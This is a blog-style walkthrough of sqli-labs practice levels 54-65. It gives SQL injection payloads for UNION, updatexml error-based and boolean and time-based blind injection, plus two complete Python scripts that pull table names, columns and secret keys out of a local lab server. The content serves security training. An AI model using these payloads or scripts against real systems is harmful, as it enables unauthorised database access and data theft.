【sqli-labs】 page-4 Less 54-65

发布时间 2023-12-08 22:20:04作者: kazie

十四步之内获取 key

Less-54

1)确定闭合

?id=1'		# 报错,猜测单引号闭合
?id=1''		# 验证
?id=2' and 1='1		# 确定是否使用括号,正确显示,没有括号

2)确定使用字段

?id=0' union select 1,2,3 and 1='1

3)确定数据库名

?id=0' union select 1,database(),3 and 1='1

数据库名:challenges

4)确定表名

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1='1

表名:VWPVRZP5YL

5)确定字段名

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='VWPVRZP5YL' and 1='1

字段名:id,sessid,secret_YWE1,tryy

6)获取 key,然后提交

?id=0' union select 1,2,secret_YWE1 from VWPVRZP5YL where id=1 and 1='1

注:如果 key 的第一位是数字,很有可能显示不出来,至少我本地遇见过这种情况

Less-55

1)确定闭合

?id=1'		# 报错,猜测单引号闭合
?id=1''		# 报错
?id=1"		# 报错,猜测双引号闭合
?id=1""		# 报错
?id=2 and 1=1 		# 猜测数字型,确定是否括号闭合,错误显示,猜测使用括号闭合
?id=2) and 1=(1		# 验证

2)获取表名

?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1=(1

表名:5ATRPYHA0Y

3)获取字段名

?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='5ATRPYHA0Y' and 1=(1

字段名:id,sessid,secret_0WLS,tryy

4)获取 key

?id=0) union select 1,secret_0WLS,3 from 5ATRPYHA0Y where id=1 and 1=(1

Less-56

1)确定闭合

?id=1'		# 报错
?id=1''		# 验证
?id=2' and 1='1		# 报错
?id=2') and 1=('1	# 验证

2)获取表名

?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1=('1

表名:2NHQ7NSJDL

3)获取字段

?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='2NHQ7NSJDL' and 1=('1

字段名:id,sessid,secret_OZ2H,tryy

4)获取 key

?id=0') union select 1,secret_OZ2H,3 from 2NHQ7NSJDL where id=1 and 1=('1

Less-57

1)确定闭合

?id=1'	# 无反应,双引号闭合
?id=2" and 1="1		# 正确显示,双引号闭合

2)获取 key

# 爆表,T15OUD7MXZ
?id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1="1

# 爆字段,id,sessid,secret_1VGJ,tryy
?id=0" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='T15OUD7MXZ' and 1="1

# 获取 key
?id=0" union select 1,secret_1VGJ,3 from T15OUD7MXZ where id=1 and 1="1

五步之内获取 key

Less-58

username 和 password 比较奇怪,

如:id=1,使用 Angelina 作为 username,dhakkan 作为密码。Angelina 本是 id=2 的 username,dhakkan 本是 id=12 的 username

id=2,使用 Dummy 作为 username,admin3 作为密码。Dummy 本是 id=3 的 username,admin3 本是 id=11 的 username

经过测试,username 的正序作为 username,username 的倒序作为 password(去掉一个和最后一个)

# 爆表,BO9EI6N0C4
?id=1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1='1

# 爆字段,id,sessid,secret_SSCQ,tryy
?id=1'and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='BO9EI6N0C4')),1) and 1='1

# 获取 key
?id=1'and updatexml(1,concat(1,(select secret_SSCQ from BO9EI6N0C4)),1) and 1='1
select * from 46ZHEE0FH5 where id=1 and updatexml(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e) and 1=1

Less-59

# 爆表,SP866HDZJL
?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1= 1

# 爆字段,id,sessid,secret_23RH,tryy
?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='SP866HDZJL')),1) and 1= 1

# 获取 key
?id=1 and updatexml(1,concat(1,(select secret_23RH from SP866HDZJL)),1) and 1= 1

Less-60

# 爆表,E6Y43ZDJN4
?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1= ("1

# 爆字段,id,sessid,secret_0JLJ,tryy
?id=1") and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='E6Y43ZDJN4')),1) and 1=("1

# 获取 key,NAtGNhF8HXSuZhsBDcREw95
?id=1") and updatexml(1,concat(1,(select secret_0JLJ from E6Y43ZDJN4)),1) and 1=("1

Less-61

# 爆表,VO9SSPIMIM
?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1= (('1

# 爆字段,id,sessid,secret_OBI4,tryy
?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='VO9SSPIMIM')),1) and 1=(('1

# 获取 key,NAtGNhF8HXSuZhsBDcREw95
?id=1')) and updatexml(1,concat(1,(select secret_OBI4 from VO9SSPIMIM)),1) and 1=(('1

130 步之内获取 key

Less-62

没有回显、没有报错,有这么多步数,很明显,盲注

盲注手注太过麻烦,脚本就非常合适,因此,本题考察写脚本能力

给出布尔盲注过程,时间盲注只给脚本

脚本思路:首先确定闭合,确定正确页面和错误页面的不同,然后编写脚本

1、确定闭合

?id=1'		# 错误
?id=1''		# 正确,确定使用单引号
?id=2' and 1='1		# 错误
?id=2') and 1=('1	# 正确,确定使用括号

2、确定正确、错误页面

1)正确显示

?id=1') and if(2>1,1,0)  --+	# 正确显示

正确页面

正确页面源代码

2)错误显示

?id=1') and if(2>1,0,0)  --+	# 错误显示

错误页面

3、编写脚本

脚本要求:高效,必须在 130 步内完成爆表、爆字段、爆 key

根据前面的题目可知,表名、字段名、key 在不断变化(变化范围:数字、大小写字母)
其中表名有 10 个字符在变化,字段名有 4 个字符在变化,key 有 24 个字符在变化
共 38 个字符,平均 3 步确定一个字符

3 步确定一个字符,就不能用二分法、暴破

0-9 的 ascii 是 48-57 (十进制),0011 0000 - 0011 1001,实际上,数字是6的ascii,为了方便此处用8位
a-z 的 ascii 是 97-122(十进制),0110 0001 - 0111 1010,实际上,字母是7的ascii,为了方便此处用8位
A-Z 的 ascii 是 65-90 (十进制),0100 0001 - 0101 1010

总结:数字的 ascii 前两位是 00,长度为 6,字母的前两位是 01,长度为 7
剩下 6 位共有 64 种情况,太多了,分成 3 位一组,就只有 8 种情况

步骤
1、根据长度判断数字还是字母
2、根据中三位判断具体的值
3、根据低三位判断具体的值

我们解决了 3 步判断一个字符的情况,下面如何分辩 8 种情况

# 由前面的题可知,我们的 id 有 13 个
?id=0') or id=1 and 1=('1	# 可行
?id=0') or id=1 and 1=('1	# 可行
.
.
.
?id=0') or id=12 and 1=('1	# 可行
?id=0') or id=13 and 1=('1	# 错误

# 实际上只用了 12 个记录,Less-58 也有体现

12 种情况 > 8 种情况,这个问题也被解决,下面用 case when 语句实现

布尔盲注

import requests
import re

name_dic = {'Angelina': 0, 'Dummy': 1, 'secure': 2, 'stupid': 3, 'superman': 4, 'batman': 5,
            'admin': 6, 'admin1': 7, 'admin2': 8, 'admin3': 9, 'dhakkan': 10}

table,column,key = '','secret_',''
i,count,total = 1,0,0
temp = '0b'
mark = True

def payload(temp,name,i,From,where):
    if len(temp) == 2:
        ASCII = f"(ascii(substr(group_concat({name}),{i},1))%2664)%2563"
    elif len(temp) == 5:
        ASCII = f"if(ascii(substr( group_concat({name}),{i},1))%2656=56,7,(ascii(substr( group_concat({name}),{i},1))%2656)%257)"
    else:
        ASCII = f"ascii(substr(group_concat({name}),{i},1))%267"

    case = f"""case {ASCII}
        when 0 then 1  
        when 1 then 2
        when 2 then 3
        when 3 then 4
        when 4 then 5
        when 5 then 6
        when 6 then 7
        when 7 then 8
        else 10
        end"""

    data = f"?id=0') or id=(select {case} {From} {where}) and 1=('1"
    return data



while True:
    total += 1
    url = 'http://192.168.148.131:8080/Less-62/'
    # 爆表
    if len(table) != 10:
        name = 'table_name'
        From = 'from information_schema.tables'
        where = 'where table_schema=database()'
    # 爆字段
    elif len(column) != 11:
        name = 'column_name'
        From = 'from information_schema.columns'
        where = f'where table_name="{table}"'
        if  i<18 :i = 18	# 重置 i
    # 爆 key
    else :
        name = column
        From = f'from {table}'
        where = 'where id=1'
        if mark and i>18:	# 重置 i
            i,mark = 1,False

    data = payload(temp,name,i,From,where)
    respond = requests.get(url + data)
    respond = respond.text

    name = re.search(r'Your Login name : (.*?)<br>', respond).group(1).strip()
    bi = bin(name_dic[name])[2:]
    temp += (3 - len(bi)) * '0' + bi

    count += 1
    if count == 3:  # 每三步组成一个字符
        if len(table) != 10:
            table += chr(int(temp, 2))
        elif len(column) != 11:
            column += chr(int(temp, 2))
        else:
            key += chr(int(temp, 2))
        i += 1
        temp, count = '0b', 0

    if len(key) == 24: break

print('[+] 表名:'+table,'[+] 字段名:'+column,'[+] key:'+key,f'[+] 总计{total}次',sep="\n")

总计:114 次,勉强符合要求

贴一个只用 68 次的大佬的代码:sqli-labs靶场Less-62题解(少于130次)

时间盲注

sqlilabs 环境:centos 7(虚拟机)

浏览器环境:windows10

思路:浏览器 tcp 连接时间是毫秒级,针对 8 种情况,选取不同延迟,最低 100 毫秒,最高 800 毫秒(不推荐)

注:下列脚本对网络连接要求非常高,不能保证 tcp 连接没有一次波动,极其容易出错

(不想改了,问题跟解决方案都在下面了,就这样吧,我 20 次中能有一次成功)

问题:下面脚本做精确判断,只判断延迟为:0.1 秒、0.2 秒、0.3 秒.....0.8 秒 的 8 种情况,没有考虑波动情况

解决方案:每次波动在 200 毫秒以内,可增加延迟,增加判断范围,如:[0,0.3],(0.3,0.6]....(2.1,2.4]

import requests
import re
import time
import sys
import string

# name_dic = {'Angelina': 0, 'Dummy': 1, 'secure': 2, 'stupid': 3, 'superman': 4, 'batman': 5,
#             'admin': 6, 'admin1': 7, 'admin2': 8, 'admin3': 9}

name_dic = {0.1: 0, 0.2: 1, 0.3: 2, 0.4: 3, 0.5: 4, 0.6: 5,
            0.7: 6, 0.8: 7, 0.9: 8, 1: 9}

table,column,key = '','secret_',''
i,count,total = 1,0,0
temp = '0b'
mark = True

def payload(temp,name,i,From,where):
    if len(temp) == 2:
        ASCII = f"(ascii(substr(group_concat({name}),{i},1))%2664)%2563"
    elif len(temp) == 5:
        ASCII = f"if(ascii(substr( group_concat({name}),{i},1))%2656=56,7,(ascii(substr( group_concat({name}),{i},1))%2656)%257)"
    else:
        ASCII = f"ascii(substr(group_concat({name}),{i},1))%267"

    case = f"""case {ASCII}
        when 0 then sleep(0.1)
        when 1 then sleep(0.2)
        when 2 then sleep(0.3)
        when 3 then sleep(0.4)
        when 4 then sleep(0.5)
        when 5 then sleep(0.6)
        when 6 then sleep(0.7)
        when 7 then sleep(0.8)
        else sleep(1)
        end"""

    data = f"?id=0') or id=(select {case} {From} {where}) and 1=('1"
    return data



while True:
    total += 1
    url = 'http://192.168.148.131:8080/Less-62/'
    # 爆表
    if len(table) != 10:
        name = 'table_name'
        From = 'from information_schema.tables'
        where = 'where table_schema=database()'
    # 爆字段
    elif len(column) != 11:
        name = 'column_name'
        From = 'from information_schema.columns'
        where = f'where table_name="{table}"'
        if  i<18 :i = 18    # 重置 i
    # 爆 key
    else :
        name = column
        From = f'from {table}'
        where = 'where id=1'
        if mark and i>18:   # 重置 i
            i,mark = 1,False

    data = payload(temp,name,i,From,where)

    time_start = time.perf_counter()
    respond = requests.get(url + data)
    time_end = time.perf_counter()
    respond = respond.text

    try:
        differ = round(time_end - time_start, 1)
        bi = bin(name_dic[differ])[2:]
    except:
        exit('波动造成错误')
    temp += (3 - len(bi)) * '0' + bi
    if len(temp)>11 :exit('波动造成错误')

    count += 1
    if count == 3:  # 每三步组成一个字符
        word = chr(int(temp, 2))
        if word not in string.ascii_letters+string.digits:exit('字符错误')    # 非大小写字母+数字

        if len(table) != 10:
            table += word
            sys.stdout.write(f'\ryour table_name:{table}')
        elif len(column) != 11:
            column += word
            sys.stdout.write(f'\ryour column_name:{column}')
        else:
            key += word
            sys.stdout.write(f'\ryour key:{key}')
        i += 1
        temp, count = '0b', 0

    if len(key) == 24: break

print(f'\r[+] 表名:{table}',f'[+] 字段名:{column}',f'[+] key:{key}',f'[+] 总计{total}次',sep="\n")

布尔盲注脚本就够了,要什么自行车,时间盲注太费时间了,不推荐

Less-63

''单引号闭合

Less-64

(())闭合

Less-65

("")闭合